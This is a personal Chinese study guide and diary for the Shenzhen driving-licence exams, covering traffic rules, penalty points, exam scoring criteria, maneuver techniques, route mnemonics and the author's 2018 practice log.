- 禁止跨越对向车行道分界线（也可称为禁止跨越道路中心线）有双黄实线、黄色虚实线和单黄实线三种类型，用于分隔对向行驶的交通流，并禁止双方向或一个方向车辆越线或压线行驶
警告标志
- 机动车在道路上发生故障或者发生交通事故，妨碍交通又难以移动的，应当按照规定开启危险报警闪光灯（双闪灯）并在车后 50 米至 100 米处设置警告标志，夜间还应当同时开启示廓灯和后位灯
- 机动车在高速公路上发生故障时，警告标志应当设置在故障车来车方向 150 米以外，车上人员应当迅速转移到右侧路肩上或者应急车道内，并且迅速报警
停车距离
- 站 3：公共汽车站、急救站、加油站、消防栓或者消防队（站）门前以及距离上述地点 30 米以内的路段，除使用上述设施的以外，不得停车
- 口 5：交叉路口、铁路道口、急转弯、宽度不足 4 米的窄路、桥梁、陡坡、隧道以及距离上述地点 50 米以内的路段，不得停车
扣分
- 驾驶机动车在高速公路或者城市快速路上违法占用应急车道行驶的，一次记 6 分
- 驾驶机动车（小型）行驶超过规定时速 50% 以上的，一次记 12 分
假 1 吊 2 撤 3 醉 5 初 6 逃终身
- 隐瞒有关情况或者提供虚假材料申领机动车驾驶证的，申请人在一年内不得再次申领机动车驾驶证
- 申请人在考试过程中有贿赂、舞弊行为的，取消考试资格，已经通过考试的其他科目成绩无效；申请人在一年内不得再次申领机动车驾驶证
- 申请人以欺骗、贿赂等不正当手段取得机动车驾驶证的，公安机关交通管理部门收缴机动车驾驶证，撤销机动车驾驶许可；申请人在三年内不得再次申领机动车驾驶证
交通肇事罪
交通肇事致一人以上重伤，负事故全部或者主要责任，并具有下列情形之一的，以交通肇事罪定罪处罚：
- 酒后、吸食毒品后驾驶机动车辆的
- 无驾驶资格驾驶机动车辆的
- 明知是安全装置不全或者安全机件失灵的机动车辆而驾驶的
- 明知是无牌证或者已报废的机动车辆而驾驶的
- 严重超载驾驶的
- 为逃避法律追究逃离事故现场的
《中华人民共和国刑法》第 133 条
- 违反交通运输管理法规，因而发生重大事故，致人重伤、死亡或者使公私财产遭受重大损失的，处 3 年以下有期徒刑或者拘役
- 交通运输肇事后逃逸或者有其他特别恶劣情节的，处 3 年以上 7 年以下有期徒刑
- 因逃逸致人死亡的，处 7 年以上有期徒刑
限速
- 高速公路应当标明车道的行驶速度，最高车速不得超过每小时 120 公里，最低车速不得低于每小时 60 公里
- 在高速公路上行驶的小型载客汽车最高车速不得超过每小时 120 公里
- 其他机动车不得超过每小时 100 公里
- 摩托车不得超过每小时 80 公里
- 同方向有 2 条车道的，左侧车道的最低车速为每小时 100 公里
- 同方向有 3 条以上车道的，最左侧车道的最低车速为每小时 110 公里，中间车道的最低车速为每小时 90 公里
- 道路限速标志标明的车速与上述车道行驶车速的规定不一致的，按照道路限速标志标明的车速行驶
- 能见度小于 200 米时，开启雾灯、近光灯、示廓灯和前后位灯，车速不得超过每小时 60 公里，与同车道前车保持 100 米以上的距离
- 能见度小于 100 米时，开启雾灯、近光灯、示廓灯、前后位灯和危险报警闪光灯，车速不得超过每小时 40 公里，与同车道前车保持 50 米以上的距离;
- 能见度小于 50 米时，开启雾灯、近光灯、示廓灯、前后位灯和危险报警闪光灯，车速不得超过每小时 20 公里，并从最近的出口尽快驶离高速公路
- 机动车在道路行驶中遇雾、雨、雪、沙尘、冰雹，能见度在 50 米以内时最高行驶速度不得超过每小时 30 公里（高速公路 20）
- 机动车在高速公路上行驶，车速超过每小时 100 公里时，应当与同车道前车保持 100 米以上的距离，车速低于每小时 100 公里时，与同车道前车距离可以适当缩短，但最小距离不得少于 50 米
- 超过规定时速 50%，处二百元以上二千元以下罚款
- 牵引发生事故的机动车，车速不得超过每小时 30 公里
- 在没有限速标志、标线的道路上，机动车不得超过下列最高行驶速度：
- 没有道路中心线的道路，城市道路为每小时 30 公里，公路为每小时 40 公里
- 同方向只有 1 条机动车道的道路，城市道路为每小时 50 公里，公路为每小时 70 公里
安全驾驶
- 驾驶拼装的机动车或者已达到报废标准的机动车上道路行驶的，公安机关交通管理部门应当予以收缴，强制报废。对驾驶前款所列机动车上道路行驶的驾驶人，处 200 元以上 2000 元以下罚款，并吊销机动车驾驶证
- 连续驾驶机动车超过 4 小时应停车休息，停车休息时间不少于 20 分钟
- 湿滑路面制动过程中，发现车辆偏离方向，先握紧方向盘，不要踩刹车制动
- 车辆涉水后，应保持低速行驶，间断轻踏制动踏板来加热蒸发水分，以恢复制动效果
- 安全头枕需要对准后脑勺来保护驾驶员的颈椎
- 不靠山体的一方先行
- 黄灯持续闪烁（特指只有一个黄灯的路口，不是指红绿灯中的黄灯），警示驾驶人要注意眺望，确认安全后通过
驾驶证
- 机动车驾驶证有效期分为 6 年、10 年和长期
- 机动车驾驶人在机动车驾驶证的 6 年有效期内，每个记分周期均未达到 12 分的，换发 10 年有效期的机动车驾驶证
- 在机动车驾驶证的 10 年有效期内，每个记分周期均未达到 12 分的，换发长期有效的机动车驾驶证
- 机动车驾驶人在核发地车辆管理所管辖区以外居住的，可以向居住地车辆管理所申请换证
- 驾驶技能准考证明的有效期为三年，申请人应当在有效期内完成科目二和科目三考试。未在有效期内完成考试的，已考试合格的科目成绩作废
- 机动车驾驶人应当于机动车驾驶证有效期满前 90 日内，向机动车驾驶证核发地车辆管理所申请换证
- 机动车驾驶证有效期超过一年以上未换证的，驾驶证将被注销
- 驾驶人因服兵役、出国（境）等原因无法办理审验时，延期审验期限最长不超过 3 年
- 初次领证的驾驶人在 12 个月的实习期内驾驶机动车上高速公路行驶，必须有 3 年以上驾龄的司机陪同
- 大中型客货车驾驶人每年提交 1 次身体条件证明（审验）
- 申请大型货车准驾：20 周岁 ~ 50 周岁
- 申请城市公交车、大型货车、无轨电车或者有轨电车准驾车型的，在 20 周岁以上，50 周岁以下
- 机动车号牌、行驶证灭失、丢失或者损毁的，机动车所有人应当向登记地车辆管理所申请补领、换领
- 将机动车交由未取得机动车驾驶证的人驾驶的，由公安交通管理部门处二百元以上二千元以下罚款，并处以吊销驾驶证的处罚
机动车驾驶证审验内容
- 道路交通安全违法行为、交通事故处理情况
- 身体条件情况
- 道路交通安全违法行为记分及记满 12 分后参加学习和考试情况
- ×：驾驶车辆累计行驶里程不在审验范围内
交通标志
- 红色是禁令标志，黄色是警告标志，蓝色是指示标志与普通路段的指路标志，绿色是高速公路的指路标志，棕色是旅游标志
- 乡道编号：Y 字开头
- 八角形停字标志：停车让行
- 三角形让字标志：减速让行
- （密集的）菱形块虚线：纵向减速标线，通过车道视觉上变窄形成压迫感
科目二
满分 100 分，80 分及格。
通用评判标准
评判内容 扣分 不按规定使用安全带 -100 启动发动机时挡位未置于空挡（驻车挡） -100 不能正确使用灯光、雨刮器等车辆常用操纵件的 -100 起步时车辆后溜距离大于 30 cm 的 -100 驾驶汽车双手同时离开转向盘的 -100 使用挡位与车速长时间不匹配，造成车辆发动机转速过高或过低的 -100 车辆在行驶中低头看挡或连续 2 次挂挡不进的 -100 行驶中空挡滑行的 -100 视线离开行驶方向超过 2 秒的 -100 行驶中身体任何部位伸出车外的 -100 不松驻车制动器起步，未及时纠正的 -100 不松驻车制动器起步，但能及时纠正的 -10 因操作不当造成发动机熄火一次 -10 发动机启动后，不及时松开启动开关 -10 起步时车辆后溜距离小于 30 cm 的 -10 起步或行驶中挂错挡，不能及时纠正的 -10 上车三件事
调整座椅
- 上车后，双手自然搭在方向盘上，后背自然靠在椅背上，这时左脚可以轻松地把离合踏板踩到底
- 方向盘距离胸部大概一个拳头的位置
- 双手手腕刚好搭在方向盘的上方
调整后视镜
左后视镜
- 端正坐姿
- 能看到汽车的左后轮
- 汽车左后门的把手刚好在后视镜的中间偏上位置
右后视镜
- 右前门是否关紧
- 镜子调到最低，要能够看到一点点的后车轮是最好的
系安全带
- 行驶过程中，得到安全员的指示后，才可以解开安全带
倒车入库
视频教程：精确到厘米，老司机教你科目二 - 知否KnowHow
操作要求
从道路一端控制线（两个前轮触地点在控制线以外），倒入车库停车，再前进出库向另一端控制线行驶，待两个前轮触地点均驶过控制线后，倒入车库停车，前进驶出车库，回到起始点。考试过程中，车辆进退途中不得停车。项目完成时间不得超过 3.5 分钟。
评判标准
评判内容 评判说明 扣分 不按规定路线、顺序行驶 比如出库方向反了 -100 车身出线 车身轮廓模型与项目模型线相交 -100 倒库不入 倒入库内后停车，车身与库位虚线相交 -100 项目完成时间超过 210 秒（3.5 分钟） 从倒车开始至回到起始点且两个前轮触地点均驶过控制线（时间检测误差：0 秒至 1 秒） -100 在倒车前，未将两个前轮触地点均驶过控制线 倒车前，前轮的任意一个车辆没有驶过控制线 -100 中途停车时间超过 2 秒 前进过程中停车，然后再次前进；后退过程中停车，然后再次后退（所有的停车时间达到 2 秒） -5 Tips:
- 在倒车前，调整好车身与起始位置左边线的距离，以 1.5 米至 2 米为宜。
右倒库：
- 挂倒档，松离合，松脚刹，缓慢倒车
- 当左后视镜的下沿挡住边线时，立刻往右飞快打死方向盘
- 眼睛盯着右边后视镜，缓缓后退
- 右后视镜中出现库角时，后车轮与库角的距离保持 25 厘米 ~ 30 厘米（2 倍黄线的宽度）
- 如果小于 30 厘米，则要回半圈方向，当后车轮与库角和库边线的距离增大到 30 厘米时再向右打死方向
- 如果大于 30 厘米，则车身的左边会出库导致失败（下次提前一点打死方向）
- 当车身与黄线平行时，立刻回正方向，倒入库中
- 看左后视镜，当横向黄线越过左后视镜下边缘，完全被遮住时，踩下刹车，离合
- 换一档，出库，以驾驶员视角观察，当看到车头引擎盖盖住前方边线时，立刻往左打死方向盘，当车头摆正时回正方向。继续前行，前车轮越过控制线时，踩下刹车，离合
左倒库：
- 挂后退挡，松离合，车速缓慢，以驾驶员视角观察，当看地面横向白色虚线向前越过左边后视镜下边缘，白色虚线被后视镜遮挡完全看不见的时候，立刻往左飞快打死方向盘，继续后退，眼睛盯着左边后视镜，缓缓后退。
- 步骤同右倒库
倒车入库方法二
- 当引擎盖到达前边线的下沿时，向左打死
- 车身平行后，方向盘回正方向
- 当两个前轮触地点均行驶过控制线，踩离合和脚刹，挂倒档（R）
- 松离合至半联动状态，缓慢倒车
- 当左后视镜的下沿刚好挡住边线时，向左打死方向（宁愿早打也不要晚打）
- 车身与边线平行时，稍压离合，回正方向
修正车身的方法
- 进库后不断观察左右两边后视镜中车身和边线的距离，哪边宽就往哪边打方向。方向往哪打，车尾往哪摆。
- 因为存在近大远小的视觉差，平行时会尾会窄些。当两侧车身与库边线呈「远窄近宽」的关系时，车身就与库边线平行了
- 调整幅度最好在 15° 左右，快打快回
坡道定点停车和起步
操作要求
控制车辆准确停车,平稳起步,车辆不得后溜。起步时间不得超过 30 秒。
评判标准
评判内容 扣分 行驶中轮胎轧道路边缘线 -100 车辆停止后，汽车前保险杠未定于桩杆线上，且前后不超出 50 厘米 -10 车辆停止后，汽车前保险杠未定于桩杆线上，且前后超出 50 厘米 -100 车辆停止后，车身距离路边缘线超出 30 厘米，未超出 50 厘米 -10 车辆停止后，车身距离路边缘线超出 50 厘米 -100 停车后，未拉紧驻车制动器 -10 车辆停止后，起步时间超过 30 秒 -100 起步时车辆后溜距离 10 厘米至 30 厘米 -10 起步时车辆后溜距离大于 30 厘米 -100 侧方停车
操作要求
车辆在库前方一次倒车入库，中途不得停车，车轮不触轧车道边线，车身不触碰库位边线。再前进向左前方出库，出库前应开启左转向灯，出库过程中车轮不触轧车道边线，车身不触碰库位边线，出库后关闭转向灯。项目完成时间不得超过 1.5 分钟（90 秒）。
评判标准
评判内容 扣分 车辆入库停止后，车身出线 -100 行驶中车轮触轧车道边线 -10 行驶中车身触碰库位边线 -10 中途停车时间超过 2 秒 -5 出库时不使用或错误使用转向灯 -10 项目完成时间超过 90 秒 -100 操作步骤
驶入考试区域
- 车辆驶向考试区域，缓缓靠近右侧路边线
- 调整车身距离右边线 30 厘米（右后视镜距离边线 1 根手指宽；车头盖右三分之一压边线）
- 当车头距离前边线 1 米时，停车
入库
- 踩离合，踩刹车，挂倒挡
- 当右后视镜看到库区左前角，方向盘向右打一圈加九十度
- 当左后视镜看到库区右后角，回正方向盘
- 当左后视镜看到左后轮压到库边虚线时，向左打满方向盘
- 当车身与边线平行时，停车（不用回正方向）
出库
- 打左转向灯，等待 3 秒左右
- 将档位从倒车档挂至一档，前进出库
- 看左侧车头角，一旦盖过车道左侧实线，立即回正方向
- 方向盘回正之后，继续向前行驶，观察车头中间位置
- 当车道左侧实线走到车头中间位置，立即向右打一圈方向，继续前进
曲线行驶
操作要求
驾驶车辆从弯道的一端前进驶入，从另一端驶出。行驶中转向、速度平稳。中途不得停车，车轮不得碰轧车道边线。
评判内容 扣分 车轮轧道路边缘线的 -100 中途停车的 -100 操作步骤
- 在进入 S 弯路口是，尽量行驶在路中间
- 当左车角与右边线重合时，方向盘向左打一圈，让左车角压着右边线行驶（右车角对路中间行驶）
- 当左车角碰到第二弯左边线时，回正方向，往前行驶一会
- 当右车角与左边线重合时，方向盘向右打一圈，让右车角压着左边线行驶（左车角对路中间行驶）
- 当车头对准车口时，回正方向
扣分标准
评判内容 扣分 车轮轧道路边缘线 -100 中途停车时间超过 2 秒（不是扣 5 分） -100 直角转弯
驾驶车辆按规定的线路行驶，由左向右或由右向左直角转弯，一次通过，中途不得停车，车轮不得碰轧车道边线。转弯前，应开启转向灯，完成转弯后，关闭转向灯。
扣分标准
评判内容 扣分 车轮轧道路边缘线 -100 转弯时不使用或错误使用转向灯，转弯后不关闭转向灯 -10 中途停车时间超过 2 秒 -5 - 转向灯开启时间大于 3 秒（否则扣 100 分）
- 越靠右（30 厘米以内），打盘时机越早
科目三
科目三分为
- 道路驾驶技能考试：满分为 100 分，成绩达到 90 分的为合格
- 安全文明驾驶常识考试：满分为 100 分，成绩达到 90 分的为合格
道路驾驶技能考试
夜间行驶模拟灯光考试
- 起步前开启前照灯（大灯、近光灯）
- 夜间在路边临时停车：示廓灯（小灯）+ 危险报警闪光灯
- 夜间机动车发生故障：示廓灯（小灯）+ 危险报警闪光灯
- 夜间同方向近距离跟车行驶：近光灯
- 夜间在照明良好道路行驶：近光灯
- 前方通过路口：近光灯
- 夜间与机动车会车：近光灯
- 夜间在无照明、照明不良的道路行驶：远光灯
- 夜间超越前方车辆：交替使用远近光灯（闪灯）
- 通过急弯、坡路、拱桥、人行横道：交替使用远近光灯（闪灯）
- 通过没有交通信号灯控制的路口：交替使用远近光灯（闪灯）
- 模拟夜间考试完成（语音提示），请在 5 秒内关闭所有灯光
注意
1为固定项目，2至11为选考项，12为结束考试- 前一个项目打了远光灯，千万记得下个项目要复位远光灯
通用评判标准
考试时出现下列情形之一的，评判为不合格
- 不按规定使用安全带
- 视线离开行驶方向超过 2 秒的
- 车辆在行驶中低头看挡或连续 2 次挂挡不进的
- 行驶中身体任何部位伸出窗外的
- 启动发动机时挡位未置于空挡（驻车挡）的
- 绿灯亮起后，前方无其他车辆、行人等影响通行时，10 秒内未完成起步的
- 起步时车辆后溜距离大于 30 厘米的
- 驾驶汽车双手同时离开转向盘的
- 单手控制转向盘时，不能有效、平稳控制行驶方向的
- 车辆行驶方向控制不准确，方向晃动，车辆偏离正确行驶方向的
- 使用挡位与车速长时间不匹配，造成车辆发动机转速过高或过低的
- 行驶中空挡滑行的
- 违反交通安全法律、法规，影响交通安全的
- 不能正确使用灯光、雨刮器等车辆常用操纵件的
- 不能根据交通情况合理选择行驶车道、速度的
- 不按交通信号灯、标志、标线或者交通警察指挥信号行驶的
- 不按规定速度行驶的
- 车辆行驶中骑轧车道中心实线或者车道边缘实线的
- 长时间骑轧车道分界线行驶的
- 起步、转向、变更车道、超车、靠边停车前不使用或错误使用转向灯的
- 起步、转向、变更车道、超车、靠边停车前，开转向灯少于 3 秒即转向的
- 连续变更两条或两条以上车道的
- 通过积水路面遇行人、非机动车时，有不减速等不文明驾驶行为的
- 遇行人通过人行横道不停车让行，不主动避让优先通行的车辆、行人、非机动车的
- 将车辆停在人行横道、网状线内等禁止停车区域的
- 争道抢行，妨碍其他车辆正常行驶的
- 行驶中不能保持安全距离和安全车速的
- 制动、加速踏板使用错误的
- 对可能出现危险的情形未采取减速、鸣喇叭等安全措施的
- 因观察、判断或者操作不当出现危险情况的
- 考生未按照预约考试时间参加考试的
- 遮挡、关闭车内音视频监控设备的
- 不按考试员指令驾驶的
考试时出现下列情形之一的，扣 10 分
- 驾驶姿势不正确的
- 起步时车辆后溜，但后溜距离小于 30 cm 的
- 操纵转向盘手法不合理的
- 起步或行驶中挂错挡，不能及时纠正的
- 转弯时，转、回方向过早、过晚，或者转向角度过大、过小的
- 换挡时发生齿轮撞击的
- 遇情况时不会合理使用离合器半联动控制车速的
- 因操作不当造成发动机熄火一次的
- 不能根据交通情况合理使用喇叭的
- 制动不平顺的
- 遇后车发出超车信号，不按规定让行的
上车准备
操作要求
- 逆时针绕车一周，观察车辆外观和周围环境，确认安全
- 打开车门前应观察后方交通情况
评判标准
- 未逆时针绕车一周检查车辆外观及周围环境的，不合格
- 打开车门前不观察后方交通情况的，不合格
Tips
- 尽量贴近车身，以便感应
- 逆时针绕车到达车身右侧时，观察车身距离右边线的距离（30 厘米以内为宜）
起步
操作要求
- 起步前检查车门是否完全关闭，调整座椅、后视镜，系好安全带，检查驻车制动器、挡位（空挡）、灯光（远光灯处于关闭位置），启动发动机
- 检查仪表，观察内、外后视镜，回头观察后方交通情况，开启转向灯，挂挡，松驻车制动，起步
- 起步过程平稳、无闯动、无后溜，不熄火
评判标准
- 制动气压不足起步的，不合格
- 车门未完全关闭起步的，不合格
- 起步前，未观察内、外后视镜，回头观察后方交通情况的，不合格
- 启动发动机时，挡位未置于空挡（驻车挡）的，不合格
- 不松驻车制动器起步，未及时纠正的，不合格
- 不松驻车制动器起步，但能及时纠正的，扣 10 分
- 发动机启动后，不及时松开启动开关的，扣 10 分
- 道路交通情况复杂时起步不能合理使用喇叭的，扣 5 分
- 起步时车辆发生闯动的，扣 5 分
- 起步时，加速踏板控制不当，致使发动机转速过高的，扣 5 分
- 启动发动机前，不检查调整驾驶座椅、后视镜、检查仪表的，扣 5 分
靠边停车
操作要求
- 开启右转向灯，通过内、外后视镜观察后方和右侧交通情况，并回头观察确认安全后，减速，向右转向靠边，平稳停车，拉紧驻车制动器，关闭转向灯
- 停车后，车身距离道路右侧边缘线或者人行道边缘 30 厘米以内
- 需要下车的，回头观察左后方交通情况，确认安全后，（用右手）缓慢打开车门，下车后关闭车门
评判标准
- 停车前，不通过内、外后视镜观察后方和右侧交通情况，并回头观察确认安全的，不合格
- 考试员发出靠边停车指令后，未能在规定的距离内停车的，不合格
- 停车后，车身超过道路右侧边缘线或者人行道边缘的，不合格
- 需要下车的，在打开车门前不回头观察左后方交通情况的，不合格
- 下车后不关闭车门的，不合格
- 停车后，车身距离道路右侧边缘线或者人行道边缘超出 50 cm 的，不合格
- 停车后，车身距离道路右侧边缘线或者人行道边缘超出 30 cm，未超出 50 cm 的，扣 10 分
- 停车后，未拉紧驻车制动器的，扣 10 分
- 拉紧驻车制动器前放松行车制动踏板的，扣 10 分
- 下车前不将发动机熄火的，扣 5 分
Tips
- 30 秒内完成靠边停车
- 靠边停车项目完成后，方向盘向左打 90°，防止压到右侧边缘线
直线行驶
操作要求
- 根据道路情况合理控制车速，正确使用挡位，保持直线行驶，跟车距离适当
- 行驶过程中适时观察内、外后视镜，视线不得离开行驶方向超过 2 秒
评判标准
- 方向控制不稳，不能保持车辆直线运行的，不合格
- 遇前车制动时不及时采取减速措施的，不合格
- 不适时通过内、外后视镜观察后方交通情况的，扣 10 分
- 未及时发现路面障碍物或发现路面障碍物未及时采取减速措施的，扣 10 分
加减挡位操作
操作要求
- 根据路况和车速，合理加减挡，换挡及时、平顺
评判标准
- 未按指令平稳加、减挡的，不合格
- 车辆运行速度和挡位不匹配的，扣 10 分
Tips
- 10 秒内完成
变更车道
操作要求
- 变更车道前，正确开启转向灯，通过内、外后视镜观察，并向变更车道方向回头观察后方道路交通情况，确认安全后变更车道，变更车道完毕关闭转向灯
- 变更车道时，判断车辆安全距离，控制行驶速度，不得妨碍其他车辆正常行驶
评判标准
- 变更车道前，未通过内、外后视镜观察，并向变更车道方向回头观察后方道路交通情况的，不合格
- 变更车道时，判断车辆安全距离不合理，妨碍其他车辆正常行驶的，不合格
- 变更车道时，控制行驶速度不合理，妨碍其他车辆正常行驶的，不合格
直行通过路口、路口左转弯、路口右转弯
操作要求
- 合理观察交通情况，减速或停车瞭望，根据车辆行驶方向选择相关车道，正确使用转向灯，根据不同路口采取正确的操作方法，安全通过路口。
评判标准
- 不按规定减速或停车瞭望的，不合格
- 不观察左、右方交通情况，转弯通过路口时，未观察侧前方交通情况的，不合格
- 不主动避让优先通行的车辆、行人、非机动车的，不合格
- 遇有路口交通阻塞时进入路口，将车辆停在路口内等候的，不合格
- 左转通过路口时，未靠路口中心点左侧转弯的，扣 10 分
通过人行横道线
操作要求
- 减速，观察两侧交通情况，确认安全后，合理控制车速通过，遇行人停车让行
评判标准
- 不按规定减速慢行的，不合格
- 不观察左、右方交通情况的，不合格
- 未停车礼让行人的，不合格
通过学校区域
操作要求
- 提前减速至 30 km/h 以下，观察情况，文明礼让，确保安全通过，遇有学生横过马路时应停车让行
评判标准
- 不按规定减速慢行的，不合格
- 不观察左、右方交通情况的，不合格
- 未停车礼让行人的，不合格
通过公共汽车站
操作要求
- 提前减速，观察公共汽车进、出站动态和乘客上下车动态，着重注意同向公共汽车前方或对向公共汽车后方有无行人横穿道路
评判标准
- 不按规定减速慢行的，不合格
- 不观察左、右方交通情况的，不合格
- 未停车礼让行人的，不合格
Tips
- 点刹通过
会车
操作要求
- 正确判断会车地点，会车有危险时，控制车速，提前避让，调整会车地点，会车时与对方车辆保持安全间距
评判标准
- 在没有中心隔离设施或者中心线的道路上会车时，不减速靠右行驶，或未与其他车辆、行人、非机动车保持安全距离的，不合格
- 会车困难时不让行的，不合格
- 横向安全间距判断差，紧急转向避让对方来车的，不合格
Tips
- 点刹通过
超车
操作要求
- 超车前，保持与被超越车辆的安全跟车距离
- 开启左转向灯，通过内、外后视镜观察后方和左侧交通情况，并回头观察确认安全后，选择合理时机，鸣喇叭或交替使用远近光灯，从被超越车辆的左侧超越
- 超车时，观察被超越车辆情况，保持横向安全距离。超越后，开启右转向灯，通过内、外后视镜观察后方和右侧交通情况，并回头观察确认不影响被超越车辆正常行驶的情况下，逐渐驶回原车道，关闭转向灯
评判标准
- 超车前，不通过内、外后视镜观察后方和左侧交通情况并回头观察确认安全的，不合格
- 超车时机选择不合理，影响其他车辆正常行驶的，不合格
- 超车时，未回头观察被超越车辆动态的，不合格
- 超车时未与被超越车辆保持安全距离的，不合格
- 超车后，驶回原车道前，不通过内、外后视镜观察后方和右侧交通情况并回头观察确认安全的，不合格
- 在没有中心线或同方向只有一条行车道的道路上从右侧超车的，不合格
- 当后车发出超车信号时，具备让车条件不减速靠右让行的，扣 10 分
Tips
- 一档完成超车项目
掉头
操作要求
- 观察前、后交通情况，确认安全后减速或停车，开启左转向灯、掉头。掉头时不妨碍其他车辆和行人的正常通行
评判标准
- 不能正确观察交通情况选择掉头时机的，不合格
- 掉头地点选择不当的，不合格
- 掉头前未开启左转向灯的，不合格
- 掉头时，妨碍正常行驶的其他车辆和行人通行的，扣 10 分
夜间行驶
操作要求
- 起步前开启前照灯
- 无照明、照明不良的道路使用远光灯
- 照明良好的道路、会车、路口转弯、近距离跟车等情况，使用近光灯
- 超车、通过急弯、坡路、拱桥、人行横道或者没有交通信号灯控制的路口时，应交替使用远近光灯示意
评判标准
- 不能正确开启灯光的，不合格
- 同方向近距离跟车行驶时，使用远光灯的，不合格
- 通过急弯、坡路、拱桥、人行横道或者没有交通信号灯控制的路口时，不交替使用远近光灯示意的，不合格
- 会车时不按规定使用近光灯的，不合格
- 通过路口时使用远光灯的，不合格
- 超车时未交替使用远近光灯提醒被超越车辆的，不合格
- 在有路灯、照明良好的道路上行驶时，使用远光灯的，不合格
- 在路边临时停车不关闭前照灯或不开启示廓灯的，不合格
- 进入无照明、照明不良的道路行驶时不使用远光灯的，扣 5 分
深圳东周科目三考场
- 上车前，逆时针绕车一周
- 上车后，开启空调（制冷，一档风），使车辆更有力
- 起步后 2 秒后提前打右转向灯，准备靠边停车
- 每次停车后，都要检查灯光，挂一档
- 车身过了斑马线再转向（防止后轮压实线）
- 掉头口诀：5 掉左，其余中
- 上车时和那安全员说：师傅辛苦了，不好意思刚到负 1 楼吃个早餐来晚了
1 号线
口诀
- 工左加会掉，超变右直学
谐音
- 解释：工作家毁掉，超蝙有止血（天天工作，家都照顾不过来（毁掉），超级蝙蝠侠有止血功能）
Tips
- 去程走左边，回程走中间
2 号线
口诀
- 公会右变掉，超左路加直
谐音
- 公会又变调，炒作陆家嘴
去程
靠边停车雨刷头在边线中右侧（因为边线比较窄）- 二档通过
公共汽车站项目 - 二档通过
会车项目 - 通过第 3 个路口，如果最右侧车道一路没车，可以自行打灯变更到最右侧车道
右转时要在人行横道前停车右转是下坡，完全松开离合，以发动机（一档的速度）牵阻作用降低车速，防止转弯时车速过快而压右侧边线
回程
掉头时，停在离斑马线远一点（大概 2 米至 3 米），绿灯亮后，立即起步- 播报
超车项目时，慢慢踩脚刹停车，防止追尾 左转时，绿灯了先不要走，左脚抬离合至半联动状态，等右边或左边的人行横道绿灯闪烁后再起步左转后是上坡路段，三档行驶时记得多加点油，防止速度掉到 20km/h 以下左转后的第一个路口是上坡，平稳起步（慢慢松离合）后上二档，迎接加减档项目- 以二档完成
直线行驶项目，换挡速度快的同学，可以上三档 - 通过最后一个路口后，立即停车，自行变更到最右侧车道，然后上二档三档开到
终点
3 号线
口诀
- 右变左，学会人加，掉超右公直
谐音
- 右边走，学会人家，貂蝉有公职
4 号线
口诀
- 超学变掉公会，直路加右
谐音
- 巢穴边，电工会，直路加油（来回都走中间车道）
去程
靠边停车雨刷头在边线中右侧（因为边线比较窄）
回程
掉头后不要加档，以一档通过公共汽车站（有指示牌，无实体）右转前注意右侧车道右转后，保险起见以一档开到终点
5 号线
口诀
- 公变右会加，掉直左超路
谐音
- 公变又回家，调职做抄录
去程
靠边停车雨刷头在边线中左侧（因为边线比较宽，而且边线是弯的）- 通过第一个直行路口时，绿灯亮起后，离合松到半联动状态，当对向车道最后一辆车到达斑马线后，立即起步；到达路口中间确认安全后，赶紧提速加档通过；车多的话，就再等一个绿灯
- 二档通过
公共汽车站 - 通过
公共汽车站后是弯路，提速往前开一点再加到三档 - 播报前方路口请
右转后，在网状线前（公交站旁）停车，自行变更到最右侧车道；往前开一点，在人行横道前停车（减速带处） 右转后往前开一点（可能有洒水车），车身越过左侧实线后，再自行变更到中间车道，然后往前开一点，再自行变更到最左侧车道（不能连续变更车道）- 二档
会车，迎接加减档项目 - 到达
掉头路口前（圆柱墩子后）停一次车；起步，向左打死方向，往前开一点，把车头探出去，再一次停车，以便观察对向来车，确认安全后完成掉头项目
回程
左转时，过了左侧的圆柱墩子后向左打 90° 方向，刚好可以行驶到中间车道。请勿左转到路口中间才开始打方向，这样容易「亲」到对向左转车辆左转后，保持一档慢慢开到超车项目区域（二档加点油也可以）- 到达最后一个直行路口时，如果右前方车道内没有车，打右转向灯，通过人行横道后，自行变更到最右侧车道，一档行驶到
终点
安全文明驾驶常识考试（科目四）
- 中型客车核载人数为 10 人至 19 人
- 经过漫水桥时，间断轻踏制动踏板
- 前轮侧滑，往相反方向修正；后轮侧滑，往侧滑方向修正
- 驾驶大型客车需要 A1 牌照
- 货车在高速公路时速不能超过 100 km
- 夜间会车，距离对向来车 150 米以外改用近光灯
- 上坡路临时停车发，方向往左打
- 矩形虚线允许短时停车，矩形实线线允许短时停车
- 直线超车，不受横飞影响
驾考日志
报考
- 2018 年 5 月 18 日报考港安驾校：¥5980（包补考费）
- 机动车驾驶证数字相片采集回执和 12 张白底证件照：¥50
体检（机动车驾驶人身体条件证明）
- 驾校给体检表，填写信息
- 贴上白底证件照
- 选择医院（有些医院支持周末体检），挂「驾驶员体检」的号
- 带上现金（备用）、体检表和身份证前往医院
- 登记（取号），交费（¥25），排队
- 检查色盲、视力（戴上眼镜后，左眼 4.9，右眼 5.0）、身高（自报）；录取姓名、身份证号、手机号
- 确认无误后盖章，当场领取体检表，不用隔天或者快递
科目一理论培训
- 地点：深圳深港驾培集团
- 时间：2018-06-20 09:00 ~ 12:00，14:00 ~ 16:00
- 采集指纹
- 安全教育视频
- 驾驶员理论培训
- 签名
- 点名
- 三天后可以约考科目一
- 科目二通过后 10 天后可以约考科目三
科目一刷题完毕
- 终于在「驾校一点通 App」看完了科目一的 1334 道题目，做错 205 道，占比 15.4%
- 不推荐使用「驾校一点通 App」，做题中不能锁屏，否则得重新考试；无法更新最新题库；锁屏广告多。可尝试 车轮驾考通
2018-07-01
科目一考试
- 时间：2018-08-17
- 成绩：97 分
- 地点：深圳市公安局交警支队车管所（南山区龙井路 128 号）
- 证件：只需身份证
- 流程：排队 > 存物（随身只留身份证） > 验身份证，录左手（或右手）食指指纹，拿签到号 > 进入候考厅等待叫号 > 验身份证，分配机考电脑号 > 开考（若不及格，可当场补考）
开始练习科目二
- 2018-08-19：练习踩离合的时候，腿止不住地抖，教练止不住地骂，老天爷也没止住，唾弃我这个没用鬼（下雨了）
- 2018-08-25：腿没那么抖了
- 2018-09-02：太阳很辣，教练很凶。一上车，发现我脱了拖鞋光着脚练车，就把我轰走了。但是，我想早点拿到驾照，急匆匆地回到公司宿舍（2 公里）穿上运动鞋，回到练车场继续「受骂」。不过光着脚踩离合，还挺带感
- 2018-09-08：练习直线倒车入库，教练迟到了 40 分钟
- 2018-10-21：学习「左侧倒车入库」和「右侧倒车入库」
- 2018-11-03：右倒库差点感觉
- 2018-11-04：已可以平稳控制离合器
- 2018-11-11：右倒库发挥极不稳定
